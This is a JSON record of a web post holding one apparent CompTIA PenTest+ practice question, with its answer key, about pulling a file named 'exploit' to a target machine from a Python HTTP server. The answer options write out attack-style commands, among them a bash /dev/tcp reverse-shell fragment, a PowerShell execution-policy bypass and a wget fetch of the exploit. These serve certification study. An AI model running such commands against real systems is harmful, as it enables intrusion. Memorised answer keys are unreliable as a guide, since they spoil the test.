{"id":16,"date":"2022-11-26T07:49:15","date_gmt":"2022-11-26T07:49:15","guid":{"rendered":"https:\/\/exampracticetests.com\/c\/PT0-002\/comptia-pentest-pt0-002-question008\/"},"modified":"2022-11-26T07:49:15","modified_gmt":"2022-11-26T07:49:15","slug":"comptia-pentest-pt0-002-question008","status":"publish","type":"post","link":"https:\/\/exampracticetests.com\/c\/PT0-002\/comptia-pentest-pt0-002-question008\/","title":{"rendered":"CompTIA PenTest+ PT0-002 &#8211; Question008"},"content":{"rendered":"<div class=\"question\">A penetration tester ran the following command on a staging server:<br \/>\npython -m SimpleHTTPServer 9891<br \/>\nWhich of the following commands could be used to download a file named exploit to a target machine for execution?<br \/><strong><br \/>A.<\/strong> nc 10.10.51.50 9891 &lt; exploit<br \/><strong>B.<\/strong> powershell -exec bypass -f \\10.10.51.509891<br \/><strong>C.<\/strong> bash -i &gt;&amp; \/dev\/tcp\/10.10.51.50\/9891 0&amp;1\/exploit<br \/><strong>D.<\/strong> wget 10.10.51.50:9891\/exploit<\/div>\n<p><\/p>\n<style> .hidden-div{ display:none } <\/style>\n<p>\t\t\t\t\t\t\t<button onclick=\"getElementById('hidden-div').style.display = 'block'\"> Show Answer <\/button> <button onclick=\"getElementById('hidden-div').style.display = 'none'\">Hide Answer<\/button><\/p>\n<div class=\"hidden-div\" id=\"hidden-div\"><span style=\"\"><\/p>\n<div class=\"answer\">Correct Answer: <strong>D<\/strong><\/div>\n<p><\/strong><\/span> <\/div>\n","protected":false},"excerpt":{"rendered":"<p>A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?A. nc 10.10.51.50 9891 &lt; exploitB. powershell -exec bypass -f \\10.10.51.509891C. bash -i &gt;&amp; \/dev\/tcp\/10.10.51.50\/9891 0&amp;1\/exploitD. wget 10.10.51.50:9891\/exploit Show Answer Hide [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[3,11],"class_list":["post-16","post","type-post","status-publish","format-standard","hentry","category-comptia-pentest-pt0-002","tag-comptia-pentest-pt0-002","tag-question-008"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts\/16","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/comments?post=16"}],"version-history":[{"count":0,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts\/16\/revisions"}],"wp:attachment":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/media?parent=16"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/categories?post=16"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/tags?post=16"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}